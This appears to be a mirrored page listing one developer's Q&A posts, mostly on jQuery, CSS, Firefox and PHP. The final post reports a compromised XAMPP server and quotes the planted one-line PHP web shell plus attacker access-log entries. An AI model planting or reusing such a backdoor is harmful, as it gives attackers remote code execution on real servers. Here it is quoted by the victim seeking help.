小编dro*_*ooh的帖子

如何使用jQuery加载codepress

我在CMS中使用codepress来编辑文件系统中的文件.一切都运行良好,但是当尝试使用jQuery load()函数加载相同的页面时,codepress似乎打破了.

我的javascript代码看起来像加载带有codpress的php文件,但是codepress似乎没有触发.

$('.content').on('click', '#fileSystemWrap a', function (event) {
    event.preventDefault();
    var fileName = $(this).data('file');
    $('#rightColWrap').fadeOut(150, function(){
        $('#rightColWrap').load('/?url=developer/edit-file.php&open=' + fileName, function(){
            $('#rightColWrap').fadeIn(150);
        });
    });
});
Run Code Online (Sandbox Code Playgroud)

深入到codepress.js我在文件的末尾看到了这个但我不明白是否有什么东西可以添加到我的初始点击事件列表器脚本来帮助压制火灾.

if(window.attachEvent) window.attachEvent('onload',CodePress.run);
else window.addEventListener('DOMContentLoaded',CodePress.run,false);
Run Code Online (Sandbox Code Playgroud)

这是sourceforge上的codepress链接 https://sourceforge.net/projects/codepress/

javascript php jquery

13
推荐指数
2
解决办法
230
查看次数

根据宽度计算div的高度并保持比例

我正在寻找一种纯CSS解决方案,以解决我在这里使用jQuery所提供的帮助。

基本上,我有3个div,它们在容器中的宽度均匀分布。它们保持3/4的比例,高度是根据宽度计算得出的。此外,每个div都有一个与背景成比例的背景图像以及一些水平和垂直居中的文本。

$(document).ready(function() {
  function setw() {
    var footdivwidth = $('footer div').width();
    var footdivheight = footdivwidth * .75;
    $('footer div').css({
      'height': footdivheight + 'px'
    });
    $('footer div span').html('w: ' + footdivwidth + '<br>h: ' + footdivheight);
  }
  setw();
  $(window).resize(function() {
    setw();
  })
});
Run Code Online (Sandbox Code Playgroud)
FOOTER {
  max-width: 1000px;
  margin: 0 auto;
  background-color: rgba(0, 0, 0, 0.171);
  display: flex;
  flex-wrap: wrap;
  justify-content: space-between;
}

FOOTER DIV {
  background-image: url('https://learnwebdesign.online/img/bg.jpg');
  background-position: center;
  background-size: cover;
  background-repeat: no-repeat;
  flex: 1;
  text-align: center;
  display: flex;
  align-items: …
Run Code Online (Sandbox Code Playgroud)

html javascript css height responsive

12
推荐指数
1
解决办法
306
查看次数

Firefox覆盖html选择选项的样式

好的,所以这一直困扰着我一段时间,我无法弄清楚造成这种情况的原因.我想知道是否有其他人有这个问题或注意到这一点.

在我的CSS中,我将html选项选项设置为与此类似

firefox选择风格的选项

在某些计算机上,它看起来像我的样式,在某些计算机上看起来有些东西覆盖了样式然后它看起来像这样

firefox选择选项样式覆盖

到目前为止的一些事实,以帮助确定是什么导致这一点 我测试的所有计算机都在运行Windows 7.我安装了大量程序的主电脑没有这个问题.我的笔记本有这个问题.我的小型电脑有一个干净的安装与很少的程序有这个问题,也没有安装任何adobe产品.在PC上有问题,如果我在firefox中刷新,问题会在大约5-10分钟内修复,然后再回来.

如果这是一个CSS问题,为什么刷新firefox暂时修复,然后再回来?

这让我觉得在刷新后会获取一些后台插件或设置.

这可能是Windows上的其他应用程序造成的吗?

有人能告诉我他们是否可以重现这个问题,以及如何解决这个问题以及导致问题的原因?

这是我的CSS

SELECT {
    color: #555558;
    font-size: 16px;
    margin: 0px 0px 8px 12px;
    padding: 2px 0px 2px 5px;
    width: 203px;
}
Run Code Online (Sandbox Code Playgroud)

HTML

<select>
<option> - Select a Page - </option>
<option>Home Page</option>
<option>About Us</option>
<option>Camping Tips</option>
</select>
Run Code Online (Sandbox Code Playgroud)

我几个月前发布了关于这个问题但是现在这个问题与firefox或CSS的版本无关,所以提供的答案是错误的.Firefox 48是否删除了为select元素设置样式的功能?

以下是插件列表,如上所述,默认安装会产生此问题. 在此输入图像描述

html css firefox

11
推荐指数
3
解决办法
5231
查看次数

html css布局与标题两列和页脚

我正在尝试创建一个高度为100px且宽度为100%的头部区域.我需要2列,左边一列是250px宽,100%是高度,直到页脚.右列应为页脚宽度的100%和页脚高度的100%.页脚应位于页面底部,高度为100px,宽度为100%.即使2列中没有内容,我也需要它们向下延伸到页脚并使页脚可见而不向下滚动到页面.

这是我到目前为止所拥有的.

<div id="top"><p>Lorem ipsum dolor sit amet</p></div>
<div id="left"><p>Lorem ipsum dolor sit amet</p></div>
<div id="right"><p>Lorem ipsum dolor sit amet</p></div>
<div id="bot"><p>Lorem ipsum dolor sit amet</p></div>

body, html {
    height: 100%;
}
body {
    margin: 0px;
}
p {
    margin: 0px;
}
#top {
    height: 100px;
    background-color: #F4F4F4;
}
#left {
    width: 250px;
    height: 100%;
    background-color: #878787;
    float: left;
    margin-bottom: -100px;
}
#right {
    background-color: #323232;
    height: 100%;
    margin-bottom: -100px;
}
#bot {
    clear: right;
    height: 100px;
    background-color: #DCDCDC;
    margin-top: …
Run Code Online (Sandbox Code Playgroud)

html css layout

8
推荐指数
1
解决办法
5854
查看次数

如何使用firefox开发人员工具清除或删除浏览器会话

我曾经能够在Firefox开发人员工具中删除浏览器会话.现在,似乎我不能?我已启用查看存储选项卡,我可以看到会话,但它不再让我选择删除它.

我想要删除会话的原因是用于Web开发.我的网站在PHP会话中存储导航更改,我不想完全杀死浏览器并重新打开.

有任何想法吗?使用FF 39.0 php会话http://andrewcmabry.com/session.jpg

php session firefox

8
推荐指数
1
解决办法
1万
查看次数

将 jQuery 缓动 easeInExpo 函数重写为纯 javascript 和 css

所以我有这个很棒的小代码块,我正在尝试将其重写为纯 JavaScript 和 CSS,而不使用 jQuery。

jQuery.extend(jQuery.easing,{
    easeInExpo: function (x, t, b, c, d) {
        return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
    }
}); 

var nset = false;
$('button#hmenu').click(function(){
    if(!nset){
        $('ul#nav').delay(35).slideDown(300,'easeInExpo');
        $('button#hmenu').addClass('active');
        nset = true;
    } else {
        $('ul#nav').slideUp(550);
        nset = false;
        $('button#hmenu').removeClass('active');
    }
})  
Run Code Online (Sandbox Code Playgroud)

我正在查看一些使用缓动的 CSS 过渡,但只是想知道有哪些选项?在我的代码中,我有一个向下滑动和向上滑动的缓动函数。这用于移动菜单导航的生产。

javascript css jquery

7
推荐指数
1
解决办法
576
查看次数

使用php创建具有数字/电子签名的HTML表单

我正在寻找将签名添加到表单的解决方案。有人可以用鼠标或手指在触摸设备上签名的地方。我想知道是否可以使用jSignature https://willowsystems.github.io/jSignature/#/about/之类的东西来创建图像,用php处理表单并创建PDF,然后将图像添加到PDF 。

我研究了一下,还没有找到明确的解决方案。基本上,我想创建一个简单的自由职业者网站合同,客户可以在线签署该合同。

javascript php forms pdf electronic-signature

6
推荐指数
1
解决办法
6100
查看次数

普通的JavaScript触发器CSS淡出,ajax加载内容,使用CSS淡入

试图弄清楚如何使用普通的javascript和css做到这一点,下面是使用jquery的代码。

在此示例中,用户单击链接,脚本检查以查看div中是否有内容,如果存在,则淡出该内容,然后通过ajax加载新内容并淡入。

我知道我可以切换CSS类,但是想知道如何使用回调查看CSS动画何时完成才能触发Ajax请求然后淡入。

<section>
    <a href="#" data-file="data1">Load data 1</a>
    <a href="#" data-file="data2">Load data 2</a>
    <div id="content"></div>
</section>

$(document).ready(function(){
    $('body').on('click','a',function(event){
        event.preventDefault();
        var datafile = $(this).data('file');
        console.log(datafile);
        if($('#content').html().length){
            $('#content').fadeOut(700,function(){
                $('#content').load(datafile + '.php').hide().fadeIn(700);
                console.log('has content, fadeout then load fadein ' + datafile);
            })
        } else {
            $('#content').load(datafile + '.php').hide().fadeIn(700);
            console.log('no content, load fadein ' + datafile);
        }
    });
});
Run Code Online (Sandbox Code Playgroud)

data1.phpdata2.php的内容仅出于测试目的而用lorem ipsum填充,在生产中,它们将是cms的界面屏幕。

这是一个jsfiddle https://jsfiddle.net/nomadwebdesign/cfvd6uk4/

查看Dan Dascalescu的答案以及如何扩展此方法如何使用JavaScript和CSS进行淡入和淡出

我也一直在尝试使用on('transitionend')事件侦听器,但是它进入了一个循环,因为在由ajax加载后,我删除了导致再次过渡的css类。

我可以通过使用setTimeout并匹配过渡持续时间来做到这一点,但这似乎很不稳定。

在这一点上,我只想知道如何使用jQueryCSS而不使用fadeIn()fadeOut()

单击顺序->淡出先前的内容->淡入ajax加载的内容

更新 …

html javascript css ajax jquery

6
推荐指数
2
解决办法
334
查看次数

如何使用PHP将奇数字符转换为iPhone输入的单个字符

所以我有一个表格,当iPhone提交时,如果用户输入'它输入数据库'.

我想知道是否有办法在将其输入数据库之前将其转换为单个字符.我需要这个的主要原因是因为它是作为txt消息发送的,并且每个字符都很重要.

我想知道是否有转换这些字符的功能

— enters as — convert to -
– enters as — convert to -
“ enters as “ convert to "
” enters as †convert to "
‘ enters as ‘ convert to '
’ enters as ’ convert to '
Run Code Online (Sandbox Code Playgroud)

问题实际上不是它以这种方式存储在数据库中,而是当从数据库中提取数据时发送txt消息.

在进一步测试中,删除数据库,用表格提交到php并通过电子邮件发送到sms网关进行测试,当使用手机输入""这样的字符时不要在txt消息中进行测试,所以这让我觉得它们是成为mojibake.我在页面中设置了表单.

这是另一个演示问题的插图.这里有一个iPhone(6s iO2 11.2.2 safari)将文本提交到php脚本,该脚本通过电子邮件发送到sms网关,文本没有特殊字符(""''),而是这些字符显示为ab,示例文本已发送因为"测试"'测试'将在txt中作为btestb btestb出现.下面是重现此问题的超简单代码.

filename:sms.php(使用php 7.1.13)

<?
if(isset($_POST['sub'])){
    $data = isset($_POST['data'])?$_POST['data']:NULL;
    if($data){
        if(mail('5555555555@messaging.sprintpcs.com','',$data,'From: name@somedomain.com')){
        echo 'sent!';
        };
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <title>test</title>
    <meta charset="UTF-8" />
    <meta content="minimum-scale=1.0, width=device-width, …
Run Code Online (Sandbox Code Playgroud)

php regex mysql

5
推荐指数
1
解决办法
277
查看次数

与xAMPP捆绑在一起的phpmyadmin 4.7.4的安全问题

好的,所以我相信我遇到了包含phpmyadmin 4.7.4的最新版XAMPP(php 7.2.1)的安全问题.

我在我的htdocs文件夹wuwu11.php中发现了一个包含1行的文件,如下所示

<?php @eval($_POST[h])?>
Run Code Online (Sandbox Code Playgroud)

我查看了访问日志,发现了以下内容

27.155.87.26 - - [21/Jan/2018:22:04:52 -0600] "GET /phpmyadmin HTTP/1.1" 301 345 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
27.155.87.26 - - [21/Jan/2018:22:04:52 -0600] "GET /phpmyadmin/ HTTP/1.1" 200 13732 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
27.155.87.26 - - [21/Jan/2018:22:04:58 -0600] "POST /phpmyadmin/index.php?token=bb05b127303d97733437297fbadf3ec1 HTTP/1.1" 200 13191 "-" "Apache-HttpClient/4.4 (Java 1.5 minimum; Java/1.8.0_161)"
27.155.87.26 - - [21/Jan/2018:22:04:59 -0600] "GET /phpmyadmin/index.php?token=bb05b127303d97733437297fbadf3ec1 HTTP/1.1" 200 13640 "-" "Mozilla/5.0 (Windows …
Run Code Online (Sandbox Code Playgroud)

php mysql security xampp phpmyadmin

5
推荐指数
1
解决办法
1308
查看次数